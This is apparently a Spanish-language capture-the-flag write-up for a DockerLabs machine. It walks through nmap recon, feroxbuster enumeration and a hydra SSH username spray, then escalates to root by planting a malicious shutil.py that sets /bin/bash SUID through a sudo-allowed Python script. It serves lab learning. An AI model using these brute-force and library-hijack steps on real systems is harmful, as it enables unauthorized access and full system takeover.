Library



🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯Resolución

🔍 Reconocimiento

Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:

ping -c 3 172.17.0.2

Pasted image 20250626181555.png

📌 El valor TTL=64 → Linux

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

🔍 Inspección manual del sitio en http://172.17.0.2:


🕵️Análisis de vulnerabilidades

Hacemos un escaneo de directorios y de todos los ficheros

feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -e -x php,txt,html,jpg,js -u http://172.17.0.2/

Pasted image 20250628165940.png
📌 Resultado relevante:


🎯 Explotación

Vemos que usuario puede ser con el comando

hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD -t 4 ssh://172.17.0.2:22

🔐 Usuario encontrado: carlos
Pasted image 20250628182552.png
Conectamos a ssh como usuario carlos con su contraeña

ssh carlos@172.17.0.2

✅ ¡Acceso concedido como carlos!
Pasted image 20250628182744.png


📈 Escalada de privilegios

Una vez dentro del sistema, ejecutamos el comando sudo -l para listar los privilegios de sudo del usuario actual. Esto nos permite identificar qué comandos se pueden ejecutar como administrador sin necesidad de proporcionar una contraseña, lo que podría abrir la puerta a una

sudo -l

Pasted image 20250628182300.png
🧠 El usuario carlos puede ejecutar un script Python como root.

import shutil
def copiar_archivo(origen, destino):
    shutil.copy(origen, destino)
    print(f'Archivo copiado de {origen} a {destino}')

if __name__ == '__main__':
    origen = '/opt/script.py'
    destino = '/tmp/script_backup.py'
    copiar_archivo(origen, destino)



Creamos un archivo shutil.py en el mismo directorio con el siguiente contenido:

import os
os.system("chmod 4777 /bin/bash")

y ejecutamos el script

sudo /usr/bin/python3 script.py
¡Ya somos root!

Pasted image 20250628182445.png